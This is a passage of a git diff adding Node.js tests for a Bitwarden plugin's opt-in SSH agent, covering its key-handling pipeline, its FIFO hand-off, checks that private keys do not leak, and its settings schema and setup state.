0o755 }) + +const baseEnv = () => Object.assign({}, process.env, { + PATH: tempDir + path.delimiter + process.env.PATH, + QSBW_FIXTURE: fixturePath, + XDG_RUNTIME_DIR: runtimeDir +}) + +const privatePem = "-----BEGIN OPENSSH PRIVATE KEY-----\n" + PRIVATE_MARKER + "\n-----END OPENSSH PRIVATE KEY-----" +const repromptPem = "-----BEGIN OPENSSH PRIVATE KEY-----\n" + REPROMPT_MARKER + "\n-----END OPENSSH PRIVATE KEY-----" + +const fixture = [ + { object: "item", id: "login-1", type: 1, name: "Login", login: { username: "u", password: "p" } }, + { object: "item", id: "ssh-1", type: 5, name: "Work", favorite: true, reprompt: 0, + sshKey: { privateKey: privatePem, publicKey: "ssh-ed25519 AAAAWORK", fingerprint: "SHA256:work" } }, + { object: "item", id: "ssh-2", type: 5, name: "Guarded", reprompt: 1, + sshKey: { privateKey: repromptPem, publicKey: "ssh-ed25519 AAAAGUARD", fingerprint: "SHA256:guard" } }, + { object: "item", id: "bank-1", type: 6, name: "Bank", bankAccount: { number: "UNKNOWN_TYPE_MARKER" } } +] + +// A real reader on the FIFO, held open the way the companion holds it (O_RDWR), +// so the writer never blocks on open and never sees the reader disappear. +function withFifoReader(fn) { + try { fs.unlinkSync(fifoPath) } catch (e) {} + execFileSync("mkfifo", ["-m", "600", fifoPath]) + const fd = fs.openSync(fifoPath, fs.constants.O_RDWR | fs.constants.O_NONBLOCK) + try { + const result = fn() + // Drain whatever the branch wrote, without blocking when it wrote nothing. + let out = Buffer.alloc(0) + const buf = Buffer.alloc(1 << 20) + for (;;) { + let n = 0 + try { n = fs.readSync(fd, buf, 0, buf.length, null) } catch (e) { break } + if (n <= 0) break + out = Buffer.concat([out, buf.slice(0, n)]) + } + return { result, fifo: out.toString("utf8") } + } finally { + fs.closeSync(fd) + try { fs.unlinkSync(fifoPath) } catch (e) {} + } +} + +function runPipeline(opts, envOverrides, contents) { + fs.writeFileSync(fixturePath, contents === undefined ? JSON.stringify(fixture) : contents) + const command = Model.sanitizedListCommand(opts) + return spawnSync(command[0], command.slice(1), { + env: Object.assign(baseEnv(), envOverrides || {}), + encoding: "utf8", maxBuffer: 20 * 1024 * 1024 + }) +} + +// ------------------------------------------------------------------------- +// The load nonce +// ------------------------------------------------------------------------- + +eq("the load id env var is named", Model.loadIdEnvVar(), "QSBW_LOAD_ID") +eq("a 128-bit lowercase hex nonce is valid", Model.isValidLoadId(LOAD_ID), true) +eq("a short nonce is refused", Model.isValidLoadId("abc"), false) +eq("an uppercase nonce is refused", Model.isValidLoadId(LOAD_ID.toUpperCase()), false) +eq("a non-hex nonce is refused", Model.isValidLoadId("z".repeat(32)), false) +eq("an empty nonce is refused", Model.isValidLoadId(""), false) +eq("a non-string nonce is refused", Model.isValidLoadId(null), false) + +const nonceRun = spawnSync("bash", Model.loadIdCommand().slice(1), { encoding: "utf8" }) +const generated = String(nonceRun.stdout || "").trim() +eq("the generator produces a usable nonce", Model.isValidLoadId(generated), true) +const second = String(spawnSync("bash", Model.loadIdCommand().slice(1), { encoding: "utf8" }).stdout || "").trim() +check("two nonces differ", generated !== second, generated + " == " + second) + +// The nonce is what stops another same-UID process writing its own key set +// into an open FIFO window. /proc//cmdline is world-readable, so it must +// never be an argument. +const agentCommandText = Model.sanitizedListCommand({ agentBranch: true, runtimeDir: runtimeDir }).join(" ") +// The fstat below is the check that decides; this one only keeps a dead +// companion from costing a full decrypt-and-filter pass whose output has +// nowhere to go. +check("a missing FIFO skips the filter rather than running it for nobody", + /if \[ -p "\$__qsbw_fifo" \]; then/.test(agentCommandText), + agentCommandText.slice(0, 500)) +check("the FIFO is opened without following a swapped symlink", + agentCommandText.indexOf("O_NOFOLLOW") >= 0, agentCommandText.slice(0, 500)) +check("the opened descriptor, not the pathname, is checked as a FIFO", + agentCommandText.indexOf("fstatSync") >= 0 && agentCommandText.indexOf("S_IFIFO") >= 0, + agentCommandText.slice(0, 500)) +check("the nonce is read from the environment, never passed in argv", + agentCommandText.indexOf(Model.loadIdEnvVar()) >= 0 && agentCommandText.indexOf(LOAD_ID) < 0, + "nonce appears literally in the command") + +// ------------------------------------------------------------------------- +// Disabled mode has no private branch at all +// ------------------------------------------------------------------------- + +const plainText = Model.sanitizedListCommand().join(" ") +check("the default command has no tee branch", plainText.indexOf("tee") < 0, plainText.slice(0, 400)) +check("the default command never names the key FIFO", + plainText.indexOf("ssh-keys.fifo") < 0, plainText.slice(0, 400)) +check("an explicitly disabled branch is identical to the default", + Model.sanitizedListCommand({ agentBranch: false, runtimeDir: runtimeDir }).join(" ") + === Model.sanitizedListCommand().join(" "), "disabled form differs from the default") + +const disabledRun = withFifoReader(() => + runPipeline({ agentBranch: false, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID })) +eq("the disabled pipeline succeeds", disabledRun.result.status, 0) +eq("the disabled pipeline writes nothing to the FIFO", disabledRun.fifo, "") + +// ------------------------------------------------------------------------- +// Enabled mode: one read, two consumers +// ------------------------------------------------------------------------- + +const enabled = withFifoReader(() => + runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID })) + +eq("the fan-out pipeline succeeds", enabled.result.status, 0) + +const panelOut = JSON.parse(enabled.result.stdout) +check("QML still receives the ordinary items", panelOut.items.length === 1 && panelOut.items[0].id === "login-1", + JSON.stringify(panelOut.items)) +eq("QML still receives both public SSH keys", panelOut.sshKeys.length, 2) +check("no private key marker reaches QML", enabled.result.stdout.indexOf(PRIVATE_MARKER) < 0, "leaked") +check("no re-prompt private marker reaches QML", enabled.result.stdout.indexOf(REPROMPT_MARKER) < 0, "leaked") +check("no unknown cipher type reaches QML", enabled.result.stdout.indexOf("UNKNOWN_TYPE_MARKER") < 0, "leaked") + +const payload = JSON.parse(enabled.fifo) +eq("the FIFO payload carries the matching nonce", payload.loadId, LOAD_ID) +eq("the FIFO payload carries only eligible keys", payload.items.length, 1) +eq("the eligible key is the non-reprompt one", payload.items[0].itemId, "ssh-1") +eq("the eligible key carries its private material", payload.items[0].privateKey, privatePem) +eq("the eligible key carries its public blob", payload.items[0].publicKey, "ssh-ed25519 AAAAWORK") +eq("the eligible key carries its fingerprint", payload.items[0].fingerprint, "SHA256:work") +eq("the eligible key is not marked re-prompt", payload.items[0].requiresReprompt, false) + +// Re-prompt private keys never leave the jq stage, so the companion is never +// asked to hold one -- its own skip rule is the second line, not the first. +check("no re-prompt private key reaches the FIFO", enabled.fifo.indexOf(REPROMPT_MARKER) < 0, "leaked") +check("no ordinary item reaches the FIFO", enabled.fifo.indexOf("login-1") < 0, "leaked") +check("no unknown cipher type reaches the FIFO", enabled.fifo.indexOf("UNKNOWN_TYPE_MARKER") < 0, "leaked") + +// The companion decodes with serde `deny_unknown_fields`, so the projection +// has to be exactly the agreed shape or every load fails closed. +eq("the envelope has exactly loadId and items", + Object.keys(payload).sort().join(","), "items,loadId") +eq("each item has exactly the agreed fields", + Object.keys(payload.items[0]).sort().join(","), + "fingerprint,itemId,name,privateKey,publicKey,requiresReprompt") + +// ------------------------------------------------------------------------- +// The optional branch can never break the ordinary list +// ------------------------------------------------------------------------- + +// No FIFO at all: the helper never started, or cleaned up on the way out. +{ + try { fs.unlinkSync(fifoPath) } catch (e) {} + const run = runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID }) + eq("a missing FIFO still loads the item list", run.status, 0) + check("a missing FIFO still produces the full envelope", + JSON.parse(run.stdout).sshKeys.length === 2, run.stdout.slice(0, 200)) + check("a missing FIFO is not created as a regular file", !fs.existsSync(fifoPath), + "the branch created something at the FIFO path") +} + +// A regular file squatting on the FIFO path is never written through. +{ + fs.writeFileSync(fifoPath, "not a fifo\n") + const run = runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID }) + eq("a squatted FIFO path still loads the item list", run.status, 0) + eq("the squatting file is untouched", fs.readFileSync(fifoPath, "utf8"), "not a fifo\n") + check("no private key was written to the squatting file", + fs.readFileSync(fifoPath, "utf8").indexOf(PRIVATE_MARKER) < 0, "leaked") + fs.unlinkSync(fifoPath) +} + +// A FIFO nobody drains. The branch opens O_RDWR so it never blocks on open, +// and the payload here fits the pipe buffer, so the list is unaffected. +{ + execFileSync("mkfifo", ["-m", "600", fifoPath]) + const run = runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID }) + eq("an undrained FIFO still loads the item list", run.status, 0) + check("an undrained FIFO still produces the full envelope", + JSON.parse(run.stdout).sshKeys.length === 2, run.stdout.slice(0, 200)) + fs.unlinkSync(fifoPath) +} + +// A missing nonce must not produce a payload the companion would accept. +{ + const run = withFifoReader(() => + runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: "" })) + eq("a missing nonce still loads the item list", run.result.status, 0) + check("a missing nonce never yields a usable payload", + run.fifo === "" || !Model.isValidLoadId((JSON.parse(run.fifo || "{}").loadId) || ""), + run.fifo.slice(0, 200)) +} + +// ------------------------------------------------------------------------- +// Whole-pipeline failures publish no partial private set +// ------------------------------------------------------------------------- + +// Input the filters reject: the branch cannot even construct a payload, so +// nothing usable reaches the FIFO in the first place. +for (const [label, contents] of [ + ["malformed JSON", "{ this is not json"], + ["a truncated array", '[{"object":"item","id":"a","type":1,'], + ["a non-array document", '{"items":[]}'] +]) { + const run = withFifoReader(() => + runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, + { [Model.loadIdEnvVar()]: LOAD_ID }, contents)) + check(`${label} fails the whole read`, run.result.status !== 0, `status ${run.result.status}`) + check(`${label} produces no item list`, run.result.stdout.trim() === "", run.result.stdout.slice(0, 200)) + check(`${label} publishes no private key`, run.fifo.indexOf(PRIVATE_MARKER) < 0, "leaked") + check(`${label} publishes no complete payload`, (() => { + if (run.fifo.trim() === "") return true + try { JSON.parse(run.fifo); return false } catch (e) { return true } + })(), run.fifo.slice(0, 200)) +} + +// A `bw` that streams a complete, valid document and *then* exits nonzero is +// a different shape of failure: the branch has already forwarded well-formed +// bytes by the time the exit status exists, and no in-stream check could have +// known. The FIFO is deliberately not the boundary here -- `key_load_end` is. +// The companion holds every candidate unpublished until that line arrives, and +// discards it on `failed`, so what matters is that the panel reports failure. +{ + const run = withFifoReader(() => + runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, + { [Model.loadIdEnvVar()]: LOAD_ID, QSBW_BW_EXIT: "1" }, JSON.stringify(fixture))) + check("a failing bw fails the whole read", run.result.status !== 0, `status ${run.result.status}`) + check("a failing bw produces no item list", run.result.stdout.trim() === "", run.result.stdout.slice(0, 200)) + eq("a failed read is framed as a failed load", Model.sshAgentLoadEndLine(7, false), + JSON.stringify({ v: 1, type: "key_load_end", epoch: 7, status: "failed" }) + "\n") + const panelSrc = fs.readFileSync(path.join(repoRoot, "Panel.qml"), "utf8") + check("the panel closes every load window with the read's real outcome", + /endSshAgentLoad\(exitCode === 0\)/.test(panelSrc), "the exit handler does not close the load window") + check("the panel closes the window on paths that abandon a load", + /endSshAgentLoad\(false\)/.test(panelSrc), "no path reports a failed load") + check("closing the window writes the versioned key_load_end line", + /sshAgentProc\.write\(Model\.sshAgentLoadEndLine\(/.test(panelSrc), + "key_load_end is never sent to the helper") + // The cancel itself lives in the lock transition (see + // tests/ssh-agent-lifecycle.test.js); what matters here is that locking + // goes through it rather than leaving a fan-out read running. + check("a lock abandons the in-flight load", + /function lockVault\(\)[\s\S]{0,600}?applySshAgentLifecycle\("lock"\)/.test(panelSrc) + && /function applySshAgentLifecycle\(event\)[\s\S]{0,900}?action\.cancelLoad\) cancelSshAgentLoad\(\)/.test(panelSrc), + "locking does not cancel the in-flight load") + check("a failed fan-out read is retried once without the branch", + /listRetriedWithoutAgent = true[\s\S]{0,200}?startVaultListRead\(true\)/.test(panelSrc), + "no retry without the agent branch") +} + +// An ordinary item carrying an SSH subtree still rejects the whole read, with +// the agent branch present as well as without it. +{ + const crossed = [{ object: "item", id: "x", type: 1, name: "Crossed", + login: { username: "u" }, sshKey: { privateKey: privatePem } }] + const run = withFifoReader(() => + runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, + { [Model.loadIdEnvVar()]: LOAD_ID }, JSON.stringify(crossed))) + check("a cross-typed item rejects the whole read", run.result.status !== 0, `status ${run.result.status}`) + check("a cross-typed item leaks no private key to QML", + run.result.stdout.indexOf(PRIVATE_MARKER) < 0, "leaked") + check("a cross-typed item leaks no private key to the FIFO", + run.fifo.indexOf(PRIVATE_MARKER) < 0, "leaked") +} + +// ------------------------------------------------------------------------- +// Lock has to be able to stop the whole group +// ------------------------------------------------------------------------- + +check("the fan-out pipeline runs under process-group supervision", + agentCommandText.indexOf("set -m") >= 0 && agentCommandText.indexOf("kill -TERM") >= 0, + agentCommandText.slice(0, 300)) + +// ------------------------------------------------------------------------- +// Control lines that frame a load +// ------------------------------------------------------------------------- + +eq("key_load_begin is a versioned v1 line", Model.sshAgentLoadBeginLine(7, LOAD_ID), + JSON.stringify({ v: 1, type: "key_load_begin", epoch: 7, loadId: LOAD_ID }) + "\n") +eq("key_load_end reports success", Model.sshAgentLoadEndLine(7, true), + JSON.stringify({ v: 1, type: "key_load_end", epoch: 7, status: "ok" }) + "\n") +eq("key_load_end reports failure", Model.sshAgentLoadEndLine(7, false), + JSON.stringify({ v: 1, type: "key_load_end", epoch: 7, status: "failed" }) + "\n") +eq("vault_locked is a versioned v1 line", Model.sshAgentVaultLockedLine(7), + JSON.stringify({ v: 1, type: "vault_locked", epoch: 7 }) + "\n") +eq("vault_logged_out is a versioned v1 line", Model.sshAgentLoggedOutLine(), + JSON.stringify({ v: 1, type: "vault_logged_out" }) + "\n") +eq("an invalid nonce yields no begin line", Model.sshAgentLoadBeginLine(7, "nope"), "") + +// No control line may ever carry key material or a session token. +for (const line of [Model.sshAgentLoadBeginLine(7, LOAD_ID), Model.sshAgentLoadEndLine(7, true), + Model.sshAgentVaultLockedLine(7), Model.sshAgentLoggedOutLine()]) { + check("no control line carries private material", + line.indexOf(PRIVATE_MARKER) < 0 && line.indexOf("BW_SESSION") < 0 && line.indexOf("privateKey") < 0, line) +} + +// ------------------------------------------------------------------------- +// The whole data plane, end to end +// ------------------------------------------------------------------------- +// +// Everything above tests one boundary at a time. This runs the real thing: +// the real pipeline writes to the real companion's FIFO, the companion +// validates and publishes, and the real OpenSSH client lists the key back. +// It is the only test that would catch the projection and the decoder +// disagreeing about a field name, because both sides are real here. +const helperBin = path.join(repoRoot, "agent", "target", "debug", "qs-bitwarden-ssh-agent") + +function endToEnd(done) { + if (!fs.existsSync(helperBin) || !fs.existsSync("/usr/bin/ssh-keygen")) { + failures.push("the end-to-end check needs the built helper and /usr/bin/ssh-keygen\n " + + "build it with: cargo build --manifest-path agent/Cargo.toml --locked") + return done() + } + + const e2eDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-e2e-")) + const e2eRuntime = path.join(e2eDir, "run") + fs.mkdirSync(e2eRuntime, { mode: 0o700 }) + const e2eLoadId = "aaaabbbbccccddddeeeeffff00001111" + + // A disposable key that exists only for the life of this test. + const keyPath = path.join(e2eDir, "id_ed25519") + execFileSync("/usr/bin/ssh-keygen", ["-q", "-t", "ed25519", "-N", "", "-C", "e2e", "-f", keyPath]) + const priv = fs.readFileSync(keyPath, "utf8") + const pub = fs.readFileSync(keyPath + ".pub", "utf8").trim() + const fingerprint = execFileSync("/usr/bin/ssh-keygen", ["-lf", keyPath + ".pub"], + { encoding: "utf8" }).split(" ")[1] + + const e2eFixture = path.join(e2eDir, "items.json") + fs.writeFileSync(e2eFixture, JSON.stringify([ + { object: "item", id: "login-1", type: 1, name: "Login", login: { username: "u" } }, + { object: "item", id: "ssh-1", type: 5, name: "Disposable", reprompt: 0, + sshKey: { privateKey: priv, publicKey: pub, fingerprint: fingerprint } } + ])) + fs.writeFileSync(path.join(e2eDir, "bw"), [ + "#!/usr/bin/env bash", + 'if [ "$1" = "--version" ]; then echo 2026.2.0; exit 0; fi', + 'cat -- "$QSBW_FIXTURE"', "" + ].join("\n"), { mode: 0o755 }) + + const { spawn } = require("child_process") + const helper = spawn(helperBin, [], { env: { XDG_RUNTIME_DIR: e2eRuntime }, stdio: ["pipe", "pipe", "pipe"] }) + let buffered = "" + let socketPath = "" + let settled = false + const finish = () => { + if (settled) return + settled = true + clearTimeout(guard) + try { helper.kill("SIGKILL") } catch (e) {} + try { fs.rmSync(e2eDir, { recursive: true, force: true }) } catch (e) {} + done() + } + const guard = setTimeout(() => { + failures.push("the end-to-end load timed out\n the companion never reported keys_loaded") + finish() + }, 30000) + + helper.stdin.write(Model.sshAgentHelloLine()) + helper.stdout.on("data", chunk => { + buffered += chunk.toString("utf8") + let nl + while ((nl = buffered.indexOf("\n")) >= 0) { + const line = buffered.slice(0, nl) + buffered = buffered.slice(nl + 1) + let message + try { message = JSON.parse(line) } catch (e) { + failures.push("the companion emitted an unparseable line\n " + line) + return finish() + } + + if (message.type === "ready") { + socketPath = message.socketPath + // Arm the window before anything can write to the FIFO. + helper.stdin.write(Model.sshAgentLoadBeginLine(1, e2eLoadId)) + const command = Model.sanitizedListCommand({ agentBranch: true }) + const run = spawnSync(command[0], command.slice(1), { + env: { PATH: e2eDir + path.delimiter + process.env.PATH, QSBW_FIXTURE: e2eFixture, + XDG_RUNTIME_DIR: e2eRuntime, [Model.loadIdEnvVar()]: e2eLoadId }, + encoding: "utf8", maxBuffer: 20 * 1024 * 1024 + }) + eq("the end-to-end pipeline succeeds", run.status, 0) + check("the end-to-end read still renders the panel envelope", + run.status === 0 && JSON.parse(run.stdout).sshKeys.length === 1, String(run.stdout).slice(0, 200)) + check("no private key reaches QML in the end-to-end read", + String(run.stdout).indexOf("PRIVATE KEY") < 0, "leaked") + if (run.status !== 0) return finish() + helper.stdin.write(Model.sshAgentLoadEndLine(1, true)) + } + + if (message.type === "keys_loaded") { + eq("the companion published exactly the eligible key", message.keyCount, 1) + eq("the companion published it for the load's epoch", message.epoch, 1) + const listed = spawnSync("/usr/bin/ssh-add", ["-L"], { + env: { SSH_AUTH_SOCK: socketPath, PATH: "/usr/bin", HOME: os.homedir() }, encoding: "utf8" + }) + eq("a real OpenSSH client lists the loaded identity", listed.status, 0) + eq("the agent offers exactly the key the vault held", + String(listed.stdout).trim().split(" ").slice(0, 2).join(" "), + pub.split(" ").slice(0, 2).join(" ")) + return finish() + } + } + }) + helper.on("error", () => { + failures.push("the companion could not be started\n " + helperBin) + finish() + }) + helper.on("exit", code => { + if (settled) return + failures.push("the companion exited before publishing\n exit " + code) + finish() + }) +} + +endToEnd(() => { + try { fs.rmSync(tempDir, { recursive: true, force: true }) } catch (e) {} + if (failures.length) { + console.error(`\n${failures.length} failed, ${pass} passed\n`) + failures.forEach(f => console.error(` FAIL ${f}`)) + process.exit(1) + } + console.log(`ssh-agent-pipeline: ${pass} passed`) +}) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-setup.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-setup.test.js new file mode 100644 index 0000000..d53b01c --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-setup.test.js @@ -0,0 +1,467 @@ +#!/usr/bin/env node +// The SSH agent is opt-in, and "opted in" is not the same as "usable". These +// tests cover the four settings, the explicit disabled/enabled/error setup +// state, the managed UWSM fragment lifecycle, and the advisory SSH_AUTH_SOCK +// diagnostics -- which must never decide whether the companion runs. +// +// node tests/ssh-agent-setup.test.js + +const fs = require("fs") +const path = require("path") + +const repoRoot = path.join(__dirname, "..") +const Model = {} +new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.SETTINGS_SCHEMA = SETTINGS_SCHEMA + exports.SETTINGS_GROUPS = SETTINGS_GROUPS + exports.groupedSettings = groupedSettings + exports.settingSchemaEntry = settingSchemaEntry + exports.boolSetting = boolSetting + exports.intSetting = intSetting + exports.sshAgentSetupState = sshAgentSetupState + exports.sshAgentApprovalWindowMax = sshAgentApprovalWindowMax + exports.visibleSettings = visibleSettings + exports.sshUiAvailable = sshUiAvailable + exports.sshAgentSocketPath = sshAgentSocketPath + exports.uwsmFragmentDisplayPath = uwsmFragmentDisplayPath + exports.uwsmFragmentContent = uwsmFragmentContent + exports.uwsmInspectCommand = uwsmInspectCommand + exports.uwsmWriteCommand = uwsmWriteCommand + exports.uwsmRemoveCommand = uwsmRemoveCommand + exports.parseUwsmInspection = parseUwsmInspection + exports.parseUwsmActionResult = parseUwsmActionResult + exports.sshAuthSockDiagnostic = sshAuthSockDiagnostic + exports.sshAuthSockTerminalCheck = sshAuthSockTerminalCheck +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const eq = (label, actual, expected) => + check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`) + +const manifest = JSON.parse(fs.readFileSync(path.join(repoRoot, "manifest.json"), "utf8")) +const manifestSchema = manifest.barWidget.schema +const manifestDefaults = manifest.barWidget.defaults +const manifestEntry = key => manifestSchema.find(e => e.key === key) +const modelEntry = key => Model.settingSchemaEntry(key) + +// ------------------------------------------------------------------------- +// The four settings, consistent across manifest, model schema and defaults +// ------------------------------------------------------------------------- + +const expected = [ + { key: "sshAgentEnabled", type: "bool", manifestType: "boolean", defaultValue: false }, + { key: "sshAgentUnlockOnDemand", type: "bool", manifestType: "boolean", defaultValue: false }, + { key: "sshAgentApprovalPopup", type: "bool", manifestType: "boolean", defaultValue: true }, + { key: "sshAgentApprovalWindowSec", type: "int", manifestType: "integer", defaultValue: 120 } +] + +for (const want of expected) { + const m = manifestEntry(want.key) + const s = modelEntry(want.key) + check(`manifest declares ${want.key}`, !!m, "missing from manifest.barWidget.schema") + check(`model schema declares ${want.key}`, !!s, "missing from SETTINGS_SCHEMA") + if (!m || !s) continue + eq(`${want.key} manifest type`, m.type, want.manifestType) + eq(`${want.key} model type`, s.type, want.type) + eq(`${want.key} manifest default`, m.defaultValue, want.defaultValue) + eq(`${want.key} model default`, s.defaultValue, want.defaultValue) + eq(`${want.key} defaults block`, manifestDefaults[want.key], want.defaultValue) + check(`${want.key} has a description in the manifest`, + typeof m.description === "string" && m.description.length > 0, JSON.stringify(m)) + check(`${want.key} has a description in the model schema`, + typeof s.description === "string" && s.description.length > 0, JSON.stringify(s)) +} + +// The window is a bounded grant length, and the bound is the design's, not a +// number the settings screen happens to draw. +const windowManifest = manifestEntry("sshAgentApprovalWindowSec") +const windowModel = modelEntry("sshAgentApprovalWindowSec") +eq("approval window minimum is 0", windowModel && windowModel.min, 0) +eq("approval window maximum is 900", windowModel && windowModel.max, Model.sshAgentApprovalWindowMax()) +eq("approval window maximum is the documented cap", Model.sshAgentApprovalWindowMax(), 900) +eq("manifest agrees on the window minimum", windowManifest && windowManifest.min, 0) +eq("manifest agrees on the window maximum", windowManifest && windowManifest.max, 900) +check("the approval window says what 0 means", + windowModel && typeof windowModel.zeroLabel === "string" && windowModel.zeroLabel.length > 0, + JSON.stringify(windowModel)) + +// ------------------------------------------------------------------------- +// Reading the settings back +// ------------------------------------------------------------------------- + +eq("the agent is off when the setting is absent", Model.boolSetting("sshAgentEnabled", undefined), false) +eq("the agent is off when shell.json holds junk", Model.boolSetting("sshAgentEnabled", "yes please"), false) +eq("the agent is on only for a real boolean", Model.boolSetting("sshAgentEnabled", true), true) +eq("unlock-on-demand is off by default", Model.boolSetting("sshAgentUnlockOnDemand", undefined), false) +eq("the centered approval popup is on by default", Model.boolSetting("sshAgentApprovalPopup", undefined), true) +eq("the centered approval popup accepts false", Model.boolSetting("sshAgentApprovalPopup", false), false) +eq("the centered approval popup rejects junk", Model.boolSetting("sshAgentApprovalPopup", "yes"), true) + +eq("the approval window defaults to 120", Model.intSetting("sshAgentApprovalWindowSec", undefined), 120) +eq("the approval window keeps a valid value", Model.intSetting("sshAgentApprovalWindowSec", 300), 300) +eq("the approval window clamps above the cap", Model.intSetting("sshAgentApprovalWindowSec", 99999), 900) +eq("0 disables grants rather than reading as unset", Model.intSetting("sshAgentApprovalWindowSec", 0), 0) +eq("a negative window falls back to the default", Model.intSetting("sshAgentApprovalWindowSec", -30), 120) +eq("a non-numeric window falls back to the default", Model.intSetting("sshAgentApprovalWindowSec", "soon"), 120) + +// ------------------------------------------------------------------------- +// The SSH Agent settings group +// ------------------------------------------------------------------------- + +const sshGroup = Model.SETTINGS_GROUPS.find(g => g.id === "sshAgent") +check("there is an SSH Agent settings group", !!sshGroup, JSON.stringify(Model.SETTINGS_GROUPS)) +const grouped = Model.groupedSettings() +eq("grouping still covers every schema entry", grouped.length, Model.SETTINGS_SCHEMA.length) +const sshRows = grouped.filter(e => e.group === "sshAgent") +eq("the SSH Agent group holds exactly the four settings", sshRows.length, 4) +eq("the group header is drawn once", sshRows.filter(e => e.groupLabel).length, 1) +eq("the enabled toggle leads the group", sshRows[0].key, "sshAgentEnabled") +check("grouping did not mutate the schema", + Model.SETTINGS_SCHEMA.every(e => e.groupLabel === undefined), "schema was mutated") + +// The SSH settings are only offered once the dependency probe has confirmed a +// CLI that can decrypt SSH key items -- the same gate the SSH type filter +// uses. Offering a toggle that cannot work is worse than not offering it. +const supportedDeps = { items: [], sshCliStatus: "supported" } +const oldDeps = { items: [], sshCliStatus: "unsupported" } +const unknownDeps = { items: [], sshCliStatus: "unknown" } + +const shown = Model.visibleSettings(supportedDeps, true) +eq("a supported CLI shows every setting", + shown.filter(e => e.kind === "setting").length, Model.SETTINGS_SCHEMA.length) +check("a supported CLI shows the SSH group header", + shown.filter(e => e.kind === "group" && e.group === "sshAgent").length === 1, "no header") + +for (const [label, deps, checked] of [ + ["an unsupported CLI", oldDeps, true], + ["an unreadable CLI version", unknownDeps, true], + ["an unfinished probe", supportedDeps, false] +]) { + // Nothing collapsed, so every remaining setting is present as a row. The + // list also carries one heading row per group now, which is what makes a + // group foldable; the guarantee being checked is unchanged -- a hidden + // group takes its heading with it, and each group that remains gets + // exactly one. + const rows = Model.visibleSettings(deps, checked) + const settings = rows.filter(e => e.kind === "setting") + const headers = rows.filter(e => e.kind === "group") + eq(`${label} hides the SSH settings`, rows.filter(e => e.group === "sshAgent").length, 0) + eq(`${label} keeps every other setting`, settings.length, Model.SETTINGS_SCHEMA.length - 4) + check(`${label} still draws every remaining group header`, + headers.length === new Set(settings.map(e => e.group)).size, + JSON.stringify(headers.map(e => e.label))) + check(`${label} draws no heading for a group it hid`, + headers.every(h => h.group !== "sshAgent"), + JSON.stringify(headers.map(e => e.group))) +} + +check("hiding the group does not mutate the schema", + Model.SETTINGS_SCHEMA.every(e => e.groupLabel === undefined && e.kind === undefined), + "schema was mutated") + +// --- every section is drawn, always ----------------------------------------- +// +// The settings screen had collapsible sections for a while. They went: three +// groups of three, seven and four rows do not need folding, and a fold is one +// more state to be in and one more thing to leave shut by accident. + +const allRows = Model.visibleSettings(supportedDeps, true) +check("every setting in the schema is drawn", + allRows.filter(e => e.kind === "setting").length === Model.SETTINGS_SCHEMA.length, + `${allRows.filter(e => e.kind === "setting").length} of ${Model.SETTINGS_SCHEMA.length}`) +check("each group is headed exactly once", + allRows.filter(e => e.kind === "group").length + === new Set(allRows.filter(e => e.kind === "setting").map(e => e.group)).size, + JSON.stringify(allRows.filter(e => e.kind === "group").map(e => e.label))) +check("a heading comes before the settings it heads", + (() => { + let seen = null + return allRows.every(e => { + if (e.kind === "group") { seen = e.group; return true } + return e.group === seen + }) + })(), JSON.stringify(allRows.map(e => e.kind === "group" ? `[${e.group}]` : e.group))) +check("groups appear in the order the group list declares", + JSON.stringify(allRows.filter(e => e.kind === "group").map(e => e.group)) + === JSON.stringify(Model.SETTINGS_GROUPS.map(g => g.id)), + JSON.stringify(allRows.filter(e => e.kind === "group").map(e => e.group))) + +// --- the status block belongs to its own section ---------------------------- +// +// The SSH agent's status and routing block used to be drawn after all four +// setting groups. That was survivable while nothing folded; with folding it +// would leave a collapsed SSH Agent section with its status still on screen, +// attached to nothing above it. + +check("each group's last setting is marked, so a section can extend itself", + (() => { + const rows = Model.visibleSettings(supportedDeps, true) + const settings = rows.filter(e => e.kind === "setting") + const groups = [...new Set(settings.map(e => e.group))] + return groups.every(g => settings.filter(e => e.group === g && e.lastInGroup).length === 1) + })(), + JSON.stringify(Model.visibleSettings(supportedDeps, true) + .filter(e => e.lastInGroup).map(e => `${e.group}:${e.key}`))) + +check("the mark lands on the final setting of the group, not an earlier one", + (() => { + const settings = Model.visibleSettings(supportedDeps, true).filter(e => e.kind === "setting") + const last = settings.filter(e => e.group === "sshAgent").pop() + return last.lastInGroup === true + })(), "the SSH group's last row is not marked") + +const panelSrc = require("fs").readFileSync( + require("path").join(__dirname, "..", "Panel.qml"), "utf8") +check("the SSH block is drawn inside the group rather than after every group", + /active: !isGroup && modelData\.group === "sshAgent"\s*\n\s*&& modelData\.lastInGroup === true/.test(panelSrc) + && (panelSrc.match(/SshAgentSettings \{ panel: root \}/g) || []).length === 1, + "expected exactly one SshAgentSettings, loaded off the group's last row") + +// ------------------------------------------------------------------------- +// Disabled / enabled / error setup state +// ------------------------------------------------------------------------- + +const state = opts => Model.sshAgentSetupState(opts) + +eq("off is disabled", state({ enabled: false, supervisable: false, phase: "disabled", errorCode: "" }).state, + "disabled") +eq("off while a helper still winds down is still disabled", + state({ enabled: false, supervisable: false, phase: "restarting", errorCode: "MALFORMED" }).state, "disabled") +check("disabled reports no error", + state({ enabled: false, supervisable: false, phase: "disabled", errorCode: "" }).message.length > 